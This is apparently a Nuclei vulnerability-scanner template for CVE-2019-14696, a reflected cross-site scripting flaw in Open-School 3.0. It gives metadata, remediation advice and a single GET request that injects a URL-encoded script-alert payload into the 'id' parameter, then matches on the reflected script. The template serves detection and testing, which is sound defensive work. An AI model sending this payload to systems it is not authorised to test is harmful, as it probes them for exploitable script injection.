id: CVE-2019-14696

info:
  name: Open-School 3.0/Community Edition 2.3 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Open-School 3.0, and Community Edition 2.3, allows cross-site scripting via the osv/index.php?r=students/guardians/create id parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://open-school.org
    - https://pastebin.com/AgxqdbAQ
    - http://packetstormsecurity.com/files/153984/Open-School-3.0-Community-Edition-2.3-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14696
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-14696
    cwe-id: CWE-79
    epss-score: 0.15682
    epss-percentile: 0.9652
    cpe: cpe:2.3:a:open-school:open-school:2.3:*:*:*:community:*:*:*
  metadata:
    max-request: 1
    vendor: open-school
    product: open-school
  tags: cve,cve2019,xss,open-school,packetstorm,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ebd402189f488234cdcbbbc0c270a97de2042cc5686063dcdd1a08e92b03261502202b412759967602a2186cefd9b0005b47fbbf90562cd2e9a58649994ebed535da:922c64590222798bb761d5b6d8e72950